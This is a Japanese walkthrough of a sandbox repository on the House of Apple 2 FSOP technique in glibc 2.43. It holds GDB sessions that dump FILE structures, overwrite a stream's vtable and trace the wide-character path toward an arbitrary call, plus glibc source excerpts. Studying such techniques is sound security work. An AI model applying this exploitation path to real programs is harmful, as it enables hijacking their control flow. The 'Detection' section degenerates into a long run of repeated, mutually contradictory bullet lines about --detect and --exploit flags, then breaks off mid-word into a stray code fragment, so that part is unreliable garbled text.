
glibc 2.43におけるHouse of Apple 2 FSOP手法のインタラクティブなGDBウォークスルー。vtableバイパス、スタックピボット、ROPを網羅した再現可能なサンドボックス付き。
このリポジトリは、pwn.collegeのFile Struct Exploitationモジュールに触発された自己完結型のプレイグラウンドです。House of Apple 2の新しいバリエーションを紹介するものではなく、このテクニックが最近のglibcバージョンでどのように通用するのか、そして実行可能な悪用経路であり続けるのかという私の好奇心に答えるものです。このドキュメントでは、読者がサンドボックスと並行して追いながらプリミティブをより直感的に理解できるよう、インタラクティブなGDBウォークスルーを提供します。すべての実験は、執筆時点でUbuntu 26.04およびFedora 44にパッケージされているglibc 2.43を使用しています。
File Stream Oriented Programming (FSOP)。 これは、glibcのファイルストリーム構造体を操作して制御フローをハイジャックすることに関するものです。その方法の1つは、_IO_FILE_plusのvtableディスパッチメカニズムを破壊することです。モダンなglibcはこのvtableを検証するため、任意のアドレスに置き換えるという明白なアプローチは機能しません。
House of Apple 2は、元々Roderickによって紹介されたもので、有効な_IO_FILE_plus vtableを使用してワイド文字ストリームの仕組みに到達することで、この制限を回避します。そこでは、セカンダリvtableが範囲検証なしで直接ディスパッチされます。これにより、スタックピボットとROPチェーンへとエスカレートできるarbitrary callプリミティブが得られます。
この探求では、FILE構造体を上書きでき、ヒープリークとlibcリークの両方が得られていることを前提としています。ターゲットバイナリはすでにこれを提供しています。
サンドボックスはUbuntu 26.04 LTSで動作し、このテクニックを探求するためのモダンな環境を提供します。
イメージにはGDB、pwndbg、pwntools、ropper、tmuxが含まれています。また、fopen、fread、fwrite、fcloseなどのファイルストリーム操作を呼び出すためのインタラクティブメニューを備えたターゲットバイナリも含まれています。これにより、デバッグやアイデアのテスト中にストリームを便利に操作できます。
サンドボックスをビルドして実行するには:``` ./build.sh ./run.sh
## 探索
まず `_IO_FILE` と `_IO_FILE_plus` 構造体を調べてみましょう:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
実用的には、_IO_FILE_plus は vtable ポインタを持つ _IO_FILE です。これはすぐに興味深く見えます。このポインタを制御できれば、間接呼び出しをリダイレクトして制御フローをハイジャックできる可能性があります。
vtable を調査するために、fopen によって返される FILE ポインタを調べてみましょう。```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
ポインタは `_IO_file_jumps` テーブルを指しています。

これは21個の関数ポインタの集合です。ファイルストリーム操作は、実行パスに応じて異なるエントリを介してディスパッチされます。
### `fwrite` パスの追跡
この調査では `fwrite` パスに焦点を当てます。各関数にブレークポイントを設定して `fwrite` を呼び出した後、最初にヒットするブレークポイントは `_IO_file_xsputn` です。

この呼び出しは `fwrite+216` で発生します。これは [glibc ソース](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44) と一致します。`_IO_sputn` は vtable を介してディスパッチするマクロであり、このストリームでは `_IO_file_xsputn` に解決されます。```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
最初の試みとして、vtable ポインタを desired_func - 0x38 で上書きし、fwrite+216 にブレークポイントを設定してみましょう。```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

ブレークポイントに到達する前に実行が中断される。このエラーは、glibc が間接呼び出しを実行する前に vtable ポインタを検証していることを示唆している。バックトレースを調べて、これがどこで発生するかを見てみよう。
`fwrite` は `_IO_vtable_check` に到達し、そこで偽造された vtable ポインタが拒否されている。

この実装には外部の vtable を受け入れるメカニズムが含まれているが、それは我々の制御下にはない。関連するコードは [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504) で確認できる。
### vtable 検証の理解
`_IO_vtable_check` が呼び出される時点ではすでに手遅れであり、vtable の検証は失敗している。バックトレース内のより早い段階の `IO_validate_vtable` フレームが興味深い部分なので、代わりにそちらを調べてみよう。```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.
GDBはIO_validate_vtableをシンボルとして解決できません。ソースを見ると、これがfwriteにインライン展開されていることがわかります。```asm
0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables>
0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8]
0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8]
0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28]
0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20]
0x00007fd5181d3613 <+179>: mov rdx,rax
0x00007fd5181d3616 <+182>: sub rdx,rdi
0x00007fd5181d3619 <+185>: cmp rdx,0x92f
0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>
vtable ポインタは `[__io_vtables, __io_vtables + IO_VTABLES_LEN)` の範囲内に収まる場合にのみ受け入れられる。したがって、好きな場所を単純に指すことはできない。それでも、ここには複数のジャンプテーブルを含むかなり大きな領域があり、探索の余地が残されている。
有効な範囲は次のように始まる:

## House of Apple 2
これで基本的な仕組みとその主な制約、すなわち `_IO_FILE_plus` の vtable が glibc の有効な vtable 領域内のどこかを指していなければならないことを理解した。これは明白なアプローチを妨げるが、完全に扉を閉ざすものではない。
House of Apple 2 は、ワイド文字ストリームの仕組みを通じて2つ目の vtable に到達することでこれを回避する。この2つ目の vtable は同じようには検証されない。GDB でそのパスをたどり、各部分がどのようにつながるかを見てみよう。
### ワイド文字ストリームの仕組み
`_IO_FILE` に戻ると、`_IO_wide_data` 構造体を指す `_wide_data` フィールドがある。この構造体は独自の vtable を持っている。```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
}
そのレイアウトは _IO_FILE とかなり似ています。これは glibc がワイド文字ストリームを処理するための機構の一部です。
目的のパスは _IO_wfile_overflow を通り、これは最終的に _IO_wdoallocbuf を呼び出す可能性があります。```c
wint_t
_IO_wfile_overflow (FILE f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) / SET ERROR /
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/ If currently reading or no buffer allocated. /
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/ Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == NULL)
{
_IO_wdoallocbuf (f); // <- this is it
_IO_free_wbackup_area (f);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
else
{
...
## 検出
- **`--detect`** を指定して実行すると、検出のみが実行されます。
- 検出は、`--detect` を指定した場合、または `--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定した場合、または `--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、`--exploit` を指定し、`--detect` を指定しなかった場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方を指定しなかった場合に実行されます。
- 検出は、`--detect` を指定し、`--exploit` を指定しなかった場合に実行されます。
- 検出は、````c
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
